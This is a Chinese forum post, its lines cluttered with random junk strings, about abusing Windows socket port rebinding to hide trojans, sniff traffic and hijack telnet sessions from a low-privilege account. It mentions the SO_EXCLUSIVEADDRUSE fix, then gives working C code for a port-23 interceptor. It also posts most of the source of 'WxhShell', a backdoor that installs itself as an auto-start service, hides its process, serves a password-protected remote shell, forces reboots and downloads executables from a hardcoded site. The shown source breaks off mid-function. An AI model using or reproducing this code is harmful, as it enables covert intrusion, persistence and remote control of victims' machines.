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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ((;9%F:/$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Me5umA  
Pgye{{  
  saddr.sin_family = AF_INET; ;@v7AF6Hq  
*M- .Vor?R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); owYfrf3ZLX  
,ulNap"R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^Fb"Is#S,  
iWQBo>x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E3NYUHfZ  
K<Ct  
  这意味着什么?意味着可以进行如下的攻击: [h8F)  
vlzjALy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _2f}WY3S  
8a. |CgI#h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _mXq]r0  
=CRaMjN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B;W=61d  
e/@udau  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R>pa? tQgK  
\EB]J\ x<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h`3;^T  
!v`q%JW(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  s.GTY@t  
 w8FZXL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HzbO#)Id-I  
C. 8>  
  #include K"-N:OV  
  #include v6f$N+4c  
  #include :CK,(?t  
  #include    pklcRrx,a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   b'vJPv~hI  
  int main() Nmi#$K[x  
  { JB b}{fo~  
  WORD wVersionRequested; 1`2lTkg  
  DWORD ret; r]0o  
  WSADATA wsaData; *xL#1  
  BOOL val; r \=p.cw<  
  SOCKADDR_IN saddr; L)B?p!cdLT  
  SOCKADDR_IN scaddr; o L6[i'H|  
  int err; u$<FKp;I  
  SOCKET s; o~es> ;  
  SOCKET sc; H@aCo(#  
  int caddsize; &\!-d%||)  
  HANDLE mt; ]e?*7T]  
  DWORD tid;   r OB\u|Pg  
  wVersionRequested = MAKEWORD( 2, 2 ); mO> [kb"V'  
  err = WSAStartup( wVersionRequested, &wsaData ); IwWo-WN7.  
  if ( err != 0 ) { /_jApZz  
  printf("error!WSAStartup failed!\n"); 9h*$P:S;1v  
  return -1; z:< (b   
  } ?]h+En5z8  
  saddr.sin_family = AF_INET; E8NIH!dI  
   G*J(4~Yw}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {p6",d."N&  
|S>nfL{TQe  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3t%uUkXl  
  saddr.sin_port = htons(23); S@_@hFV jd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #+ n &  
  { Y>%A*|U%  
  printf("error!socket failed!\n"); X4%*&L  
  return -1; L/<Up   
  } ?>lmLz!e  
  val = TRUE; f<kL}B+,Og  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <;U"D.'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O5k's  
  { wQ [2yq  
  printf("error!setsockopt failed!\n"); *q8W;Wa L  
  return -1; rt~X (S  
  } 3_Oq4/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K=06I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !4oYQB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~{d94o.  
#3/l4`/j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p}(w"?2  
  { G]&:">&R  
  ret=GetLastError(); |<BTK_R  
  printf("error!bind failed!\n"); jv_sRV  
  return -1; 1N#TL"lMS  
  } 7g&_`(  
  listen(s,2); *r9I 1W  
  while(1) 4] DmgOru%  
  { %o{vD&7\  
  caddsize = sizeof(scaddr); m41n5T`  
  //接受连接请求 wlKL|N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m+uh6IqN./  
  if(sc!=INVALID_SOCKET) RKBjrSZg8  
  { & 6}vvgz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L<Lu;KnY6  
  if(mt==NULL) _0vXujz  
  { y8<,>  
  printf("Thread Creat Failed!\n"); rp1 u  
  break; ,][+:fvS  
  }  ^5 ;Y  
  } gXH89n  
  CloseHandle(mt); EG9S? $  
  } 3q1O:b^eo  
  closesocket(s); /n"A%6S  
  WSACleanup(); 4|:{apH  
  return 0; `_v-Y`Z  
  }   "[#jq5> :  
  DWORD WINAPI ClientThread(LPVOID lpParam) JBWiTUk  
  { Uf\*u$78  
  SOCKET ss = (SOCKET)lpParam; <!w-op2@ir  
  SOCKET sc; 01w=;Q  
  unsigned char buf[4096]; zBjqYqZ<+  
  SOCKADDR_IN saddr; ueWG/`ig  
  long num; {{<o1{_H  
  DWORD val; Cch1"j<k$  
  DWORD ret; L>@6lhD)x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pH"LZ7)DI0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZE=~ re  
  saddr.sin_family = AF_INET; :+R ||q i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )8Q|y  
  saddr.sin_port = htons(23); -D(Ubk Pw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @9c^{x\4  
  { ' !_44  
  printf("error!socket failed!\n"); 0{B5C[PTG  
  return -1; B2,! 0Re  
  } + S%+Ku  
  val = 100; S$$:G$j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <`N\FM^vo  
  { sJ0y3)PQ  
  ret = GetLastError(); ".@SQgyb0  
  return -1; JdV!m`XpXy  
  } c9'#G>&h~^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y.hrU*[J0  
  { I &m~ cBj<  
  ret = GetLastError(); $9l3 DJ  
  return -1; MK"Yt<e(o  
  } r^\^*FD |  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r":<1+07  
  { >T(f  
  printf("error!socket connect failed!\n");  6f{c  
  closesocket(sc); D!X{9q}S1  
  closesocket(ss); }`h}h<B(  
  return -1; ^iI^)  
  } 4 5Ql7~  
  while(1) F\]rxl4(L  
  { v h%\ " h  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DvhK0L*Qr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @E==~ b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TIvLY5 HG  
  num = recv(ss,buf,4096,0); 95H`-A  
  if(num>0) r[?rwc^  
  send(sc,buf,num,0); QOP*vH >J  
  else if(num==0) nTHP~]  
  break; r1=Zoxc=w  
  num = recv(sc,buf,4096,0); &FK=w]P  
  if(num>0) HML6<U-eS  
  send(ss,buf,num,0); 3^fZUldf  
  else if(num==0) d[S!e`,iD  
  break; ,:v}gS?Uq  
  } ^Krkf4fO  
  closesocket(ss); pa\]@;P1  
  closesocket(sc); pr m  
  return 0 ; '@:;oe@]  
  } <<A@69"4n  
JN8k x;@  
s0`uSQ2X  
========================================================== oZ8SEC "]  
=9)ypI-2  
下边附上一个代码,,WXhSHELL =* (d+[_  
V3`*LU  
========================================================== @.g4?c  
SOUA,4  
#include "stdafx.h" huQ1A0(no  
pH*L8tT  
#include <stdio.h> O{dx+f  
#include <string.h> 2N]y)S_<V  
#include <windows.h> U}5uy9A  
#include <winsock2.h> JZc5U}i  
#include <winsvc.h> ;0BCM(>Wo  
#include <urlmon.h> }5]NUxQ_  
`#(4K4]1.  
#pragma comment (lib, "Ws2_32.lib") l,/5$JGnk  
#pragma comment (lib, "urlmon.lib") X;0EgIqh3  
Tru`1/ 7I  
#define MAX_USER   100 // 最大客户端连接数 ML'R[~|  
#define BUF_SOCK   200 // sock buffer 6-JnT_  
#define KEY_BUFF   255 // 输入 buffer iFHVr'Og'  
2 Sr'B;`p  
#define REBOOT     0   // 重启 S\ li<xl  
#define SHUTDOWN   1   // 关机 Dho~6K }"  
g =%W"v  
#define DEF_PORT   5000 // 监听端口 N2~z&y8.  
xp39TiXJ*  
#define REG_LEN     16   // 注册表键长度 0qTa @y  
#define SVC_LEN     80   // NT服务名长度 'Gc6ZSLM  
~bwFQYY=  
// 从dll定义API )V>FU=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r|#4+'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .O,gl$y}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hrW.TwK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &3^40s/+  
a{8GT2h`4  
// wxhshell配置信息 T|}HK]QOX  
struct WSCFG { svQDSif  
  int ws_port;         // 监听端口 "Fke(?X'  
  char ws_passstr[REG_LEN]; // 口令 {66vdAu&h<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'shOSB  
  char ws_regname[REG_LEN]; // 注册表键名 ?Cu$qE!h)[  
  char ws_svcname[REG_LEN]; // 服务名 vw!i)JO8M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BHU[Rz7x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wY=ky629  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,fN iZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O+e8}Tmm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \ 0CGS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `\qU.m0(j  
?ph"|LyL  
}; MKH7d/x  
56v<!L5%  
// default Wxhshell configuration HL)1{[|`  
struct WSCFG wscfg={DEF_PORT, Bq _<v)M*  
    "xuhuanlingzhe", F{}z[0  
    1, sn *s7v:  
    "Wxhshell", Fq{nc]L6  
    "Wxhshell", d82IEhZ#  
            "WxhShell Service", nyDqR#t  
    "Wrsky Windows CmdShell Service", ~{N|("nB  
    "Please Input Your Password: ", 7i'vAOnw^  
  1, lE`ScYG  
  "http://www.wrsky.com/wxhshell.exe", dXOjaS# ~  
  "Wxhshell.exe" [oYe/<3  
    }; \myj Y  
N-NwGD{  
// 消息定义模块 )HU?7n.{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~\Ynih  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CtE".UlCA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zL_X?UmV  
char *msg_ws_ext="\n\rExit."; d~n+Ds)%F  
char *msg_ws_end="\n\rQuit."; rkzhN59;  
char *msg_ws_boot="\n\rReboot..."; 0)84Z.k  
char *msg_ws_poff="\n\rShutdown..."; In 1.R$O  
char *msg_ws_down="\n\rSave to "; ~#-`Qh  
"zv+|_ZAfd  
char *msg_ws_err="\n\rErr!"; $]hf2Yr(  
char *msg_ws_ok="\n\rOK!"; )pzXC  
&556;l  
char ExeFile[MAX_PATH]; ilNm\fQ.  
int nUser = 0; ~PV>3c3l=  
HANDLE handles[MAX_USER]; }%:?s6Ler  
int OsIsNt; vWgh?h/ot  
R `'@$"  
SERVICE_STATUS       serviceStatus; Rc6Rk!^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tG{Vn+~/  
36j.is  
// 函数声明 QzS{2Y[OQ  
int Install(void); :q= XE$%H  
int Uninstall(void); ,= PDL  
int DownloadFile(char *sURL, SOCKET wsh); Mc\lzq8\ 1  
int Boot(int flag); &hF>}O  
void HideProc(void); mg 3jm  
int GetOsVer(void); ~ PPGU1  
int Wxhshell(SOCKET wsl); E O}(MXS  
void TalkWithClient(void *cs); ^oP]@r"qy  
int CmdShell(SOCKET sock); @emZwN"m  
int StartFromService(void); uD5i5,q1Hs  
int StartWxhshell(LPSTR lpCmdLine); , <[os  
#VrT)po+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %ZxKN;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Dp'/uCW)  
1k hwwoo  
// 数据结构和表定义 _\1(7?0D  
SERVICE_TABLE_ENTRY DispatchTable[] = +6>Pp[%  
{ 1E-$f  
{wscfg.ws_svcname, NTServiceMain}, |W::\yu6  
{NULL, NULL} 2L\h+)  
}; {vU '>pp  
"5e]-u'  
// 自我安装 ]>:>":<:  
int Install(void) LZ@^ A]U  
{ }^iE|YKz  
  char svExeFile[MAX_PATH]; B 51LZP  
  HKEY key; & v`kyc  
  strcpy(svExeFile,ExeFile); v(0vP}[Q7E  
pLIBNo?  
// 如果是win9x系统,修改注册表设为自启动 eygyVhJ  
if(!OsIsNt) { ES+&e/G"ds  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >0m-S :lk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .)o5o7H  
  RegCloseKey(key); 'IgtBd|K>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a@X'oV`(2b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kzmgy14o  
  RegCloseKey(key); X31kHK5F_  
  return 0; "y`?KY$[N  
    } x0 #+yP  
  } %W c-.E R  
} EXzY4D ^  
else { j^k{~]+_^]  
LQS*/s0  
// 如果是NT以上系统,安装为系统服务 NN$`n*;l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  &wj Ob  
if (schSCManager!=0) K}zw%!ex  
{ >y=%o~  
  SC_HANDLE schService = CreateService Z BYmAD  
  ( 71 2i |  
  schSCManager, O-|3k$'\z  
  wscfg.ws_svcname, ~q9RZ#g13J  
  wscfg.ws_svcdisp, 4gZN~_AI<  
  SERVICE_ALL_ACCESS, DQRt\!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'R$~U?i8  
  SERVICE_AUTO_START, 0q3 :"X  
  SERVICE_ERROR_NORMAL, <9Chkb|B  
  svExeFile, Fl O%O D  
  NULL, NfSe(rd  
  NULL, NT nn!k  
  NULL, Wl,yznT  
  NULL, Xu T|vh  
  NULL ="4jk=on  
  ); H#ihU3q  
  if (schService!=0) ;P{ *'@  
  { 4bKZ@r%  
  CloseServiceHandle(schService); *zx;81X=  
  CloseServiceHandle(schSCManager); v14[G@V~\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x_Z~k  
  strcat(svExeFile,wscfg.ws_svcname); 6ZM<M7(V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @3G3l|~>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q}8R>`Z{  
  RegCloseKey(key); ~!uK;hI  
  return 0; fpqKa r  
    } D/)xe:  
  } _Ih~'Y Fd  
  CloseServiceHandle(schSCManager); abK/!m[q  
} B^OhL!*tI  
} fGxa~Unx  
WT0U)x( m5  
return 1; \0:l9;^4  
} F |GWYw'%  
`aUA_"f  
// 自我卸载 i ^W\YLE  
int Uninstall(void) .d*vfE$  
{ 2{qoWys8[  
  HKEY key; aJfW75C  
sI.Ezuw  
if(!OsIsNt) { #8(@a Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ugL$W@   
  RegDeleteValue(key,wscfg.ws_regname); 9K&b1O@Aj  
  RegCloseKey(key); yb]a p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O[m+5+  
  RegDeleteValue(key,wscfg.ws_regname); +Y \#'KrA  
  RegCloseKey(key); l>:?U  
  return 0; "kL5HD]TC  
  } +Gjy%JFp  
} &2g1Oy~  
} D]0#A|n F  
else { 7_|zMk.J*  
1,/oS&?E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )i?wBxq'MA  
if (schSCManager!=0) Tc qqAc   
{ ?$gEX@5h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Coyop#q#"{  
  if (schService!=0) ZA# jw 8F  
  { 4[(P>`Unx  
  if(DeleteService(schService)!=0) { Vw,dHIe(3  
  CloseServiceHandle(schService); ;+5eE`]a/L  
  CloseServiceHandle(schSCManager); 7[K$os5al  
  return 0; %8v?dB;>x`  
  } ,,6e }o6  
  CloseServiceHandle(schService); /1^%32c  
  } [k.<x'#  
  CloseServiceHandle(schSCManager); v3[ 2!UXq  
} 7N:,F9V<  
} #-{4 Jx  
5bAy@n  
return 1; !W6]+  
} [#.QDe  
.NPai4V'  
// 从指定url下载文件 m*(8I=]q  
int DownloadFile(char *sURL, SOCKET wsh) ed617J  
{ /2YI!U@A  
  HRESULT hr; -dza_{&+iZ  
char seps[]= "/"; 3cs'Oz<w  
char *token; *l5/q\D  
char *file; rSa 3u*xB  
char myURL[MAX_PATH]; \ET7  
char myFILE[MAX_PATH]; OW6i2>Or  
/6f$%:q  
strcpy(myURL,sURL); {!<zk+h$  
  token=strtok(myURL,seps); 3n,F5?! m  
  while(token!=NULL) )Z]8SED  
  { 9 Z4H5!:(  
    file=token; T%:}/@  
  token=strtok(NULL,seps); YUc&X^O  
  } 76hi@7a  
:lcoSJ  
GetCurrentDirectory(MAX_PATH,myFILE); "eBpSV>nnQ  
strcat(myFILE, "\\"); Y(-+>>j_  
strcat(myFILE, file); C^ uXJ~8  
  send(wsh,myFILE,strlen(myFILE),0); pE`BB{[@  
send(wsh,"...",3,0); hnyZXk1|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X${k  
  if(hr==S_OK) `"    
return 0; 9]|cs  
else tQ*5[F,fm  
return 1; QupCr/Hs  
zEa3a  
} cm-! 6'`  
o8Tt|Lxb$8  
// 系统电源模块 ['{mW4i  
int Boot(int flag) 0Pbv7)=XL  
{ 2o6%P}C  
  HANDLE hToken; LB-4/G$  
  TOKEN_PRIVILEGES tkp; yQh":"$k  
VJm).>E3k  
  if(OsIsNt) { uN'e~X6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U t0oh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  8*lVO2  
    tkp.PrivilegeCount = 1; 'w&,3@Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yV_aza  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HD$W\P  
if(flag==REBOOT) { {wK98>$a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rry 33  
  return 0; `2}Mz9mk  
} C?X^h{T p  
else { lNqYpyvy*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xMU4Av[{  
  return 0; <Azv VSA,  
} MsfY|(/m  
  } l&[x)W  
  else { Ij4oH  
if(flag==REBOOT) { j^>J*gLM}W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^Qq_|{vynf  
  return 0; IL&Mf9m  
} 4y:yFTp  
else { l(*`,-pv:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gP? pfFhG  
  return 0; a! ]'S4JS  
} ([^1gG+>J  
} RYy_Ppn96f  
+A O(e  
return 1; A-qdTJP  
} pm@Mlwg`1  
zcy!YB  
// win9x进程隐藏模块 >]s|'HTxF  
void HideProc(void) E&/#Ov  
{ R8sj>.I9j  
0M>+.}e+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ic P]EgB  
  if ( hKernel != NULL ) IyOb0WiEj  
  { 8.bdN]zn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  lEh;MJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I^emH+!MW  
    FreeLibrary(hKernel); I& DEF*  
  } "sdzm%  
Ho2#'lSKM  
return; &Y4S[-   
} %`?IY<  
jEo)#j];`<  
// 获取操作系统版本 59 R;n.Q  
int GetOsVer(void) !#Ub*qY1Z  
{ i]Njn k  
  OSVERSIONINFO winfo; scT,yNV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $qV, z  
  GetVersionEx(&winfo); V9mqJRFJ:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \C#X Kk$OE  
  return 1; \QGh@AQp"  
  else Y{ijSOl3  
  return 0; 49W@?: b  
} yb\T< *  
+`}QIp0  
// 客户端句柄模块 ibAZ=RD  
int Wxhshell(SOCKET wsl) *eK\W00  
{ "wy|gnQJ  
  SOCKET wsh; MAb*4e#  
  struct sockaddr_in client; W US[hx,  
  DWORD myID; H|JPqBNRh  
TF R8  
  while(nUser<MAX_USER) G)t_;iNL|  
{ o<cg9  
  int nSize=sizeof(client); 1DLAfsLlj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iHBetkAu  
  if(wsh==INVALID_SOCKET) return 1; H65><38X/  
>pdWR1ox  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `\_>P@qz  
if(handles[nUser]==0) M#Kke9%2  
  closesocket(wsh); nvY%{Zf$}  
else \MI2^J N  
  nUser++; j*Uz.q?  
  } 69N/_V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >xsbXQ>.  
41Ga-0p  
  return 0; 5 nF46c  
} !LJEo>D  
u a%@Ay1|  
// 关闭 socket ,Pi!%an w  
void CloseIt(SOCKET wsh) M~+}ss  
{ xP/?E  
closesocket(wsh);  m#K)%0  
nUser--; u:]c  
ExitThread(0); QQI,$HId  
} ;*u"hIl1/  
^Y%'"QwJS  
// 客户端请求句柄 amTeT o]Tg  
void TalkWithClient(void *cs) A4uKE"WE  
{ j)nL!":O  
6C'W  
  SOCKET wsh=(SOCKET)cs; U_Jchi,!  
  char pwd[SVC_LEN]; Sy@)Q[A  
  char cmd[KEY_BUFF]; U1ZKJ<pv  
char chr[1]; %cO^:  
int i,j; r{>`"  
`uP:UQ9S  
  while (nUser < MAX_USER) { =Gv*yR*]t  
~%chF/H  
if(wscfg.ws_passstr) { _"%hcCMw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d4~;!#<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); - f?8O6e  
  //ZeroMemory(pwd,KEY_BUFF); XQ3"+M_KG  
      i=0; ]J1oY]2~  
  while(i<SVC_LEN) { yopC <k  
=cR"_Z[8X  
  // 设置超时 ej,)< *  
  fd_set FdRead; &2,3R}B/  
  struct timeval TimeOut; DHq#beN  
  FD_ZERO(&FdRead); ^r=Wj@`  
  FD_SET(wsh,&FdRead); @>fsg-|  
  TimeOut.tv_sec=8; *"nN To  
  TimeOut.tv_usec=0; '\O[j*h^.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lfw|Q@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0Ra%>e(I^  
CM%Rz-c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !F:ANoaS  
  pwd=chr[0]; Rtu"#XcBw+  
  if(chr[0]==0xd || chr[0]==0xa) { n!-]f.=P  
  pwd=0; Q&#Arph0e  
  break; % }IrZrh  
  } <Hf3AB;#4  
  i++; G{.[o6>  
    } Ct][B{  
jj&mRF0gCb  
  // 如果是非法用户,关闭 socket I A%ZCdA;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hpc&s  
} {^D; ($lm  
z+Guu8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v,'k 2H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;kI)j ?  
4Ei8G]O $_  
while(1) { [g bFs-B2/  
1Q_Q-Z  
  ZeroMemory(cmd,KEY_BUFF); KpBOmXE  
5e3p9K`5  
      // 自动支持客户端 telnet标准   gvFJ~lL  
  j=0; S{m:Iij[;  
  while(j<KEY_BUFF) { htT9Hrx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {'Y()p3kl  
  cmd[j]=chr[0]; ;`O9YbP#  
  if(chr[0]==0xa || chr[0]==0xd) { [uwn\-  
  cmd[j]=0; ?y-@c]  
  break; &MZ{B/;;H  
  } P{L S +.  
  j++; 2 g\O/oz  
    } fig~z=m  
+zwS[P@  
  // 下载文件 6B|OKwL  
  if(strstr(cmd,"http://")) { !gJTKQX4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K?nQsT;3p  
  if(DownloadFile(cmd,wsh)) @d5$OpL$%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J&Db-  
  else lVuBo&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *LMzq9n3o  
  } r$v \\^?2  
  else { Wks zN h  
]x).C[^  
    switch(cmd[0]) { &zd@cr1  
  [p' A?-  
  // 帮助 oxBTm|j7  
  case '?': { 9@ 4]t6h[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x+DETRLP  
    break; ;GE6S{~-  
  } ub!l Hl  
  // 安装 "n{';Q)  
  case 'i': { ZbiC=uh  
    if(Install()) q44vI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WJxcJE  
    else u$CN$ynS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cNT !}8h^  
    break; |)v}\-\ #  
    } mU(v9Jpf7  
  // 卸载 rizjH+  
  case 'r': { *o5[P\'6  
    if(Uninstall()) QW'*^^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P l!E$   
    else ju5o).!bg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EXF]y}n  
    break; rg ; 4INs#  
    } 8bQXC+bK  
  // 显示 wxhshell 所在路径 [m4M#Lg\0  
  case 'p': { Ie K+  
    char svExeFile[MAX_PATH]; @{U UB=}9  
    strcpy(svExeFile,"\n\r"); DE7y\oO]  
      strcat(svExeFile,ExeFile); AOkG.u-k  
        send(wsh,svExeFile,strlen(svExeFile),0); TV0sxod6  
    break; JhjH_)  
    } b)x0;8<  
  // 重启 FGPqF;  
  case 'b': { ps?su`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~%lA! tsek  
    if(Boot(REBOOT)) C~ A`h=A<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?hAO-*);  
    else { YcV^Fqi!  
    closesocket(wsh); w >%^pO~}`  
    ExitThread(0); BQ<\[H;  
    } VxS3lR=  
    break; l]~9BPsR  
    } n!AW9]  
  // 关机 p^}`^>OL  
  case 'd': { $a8,C\m e?  
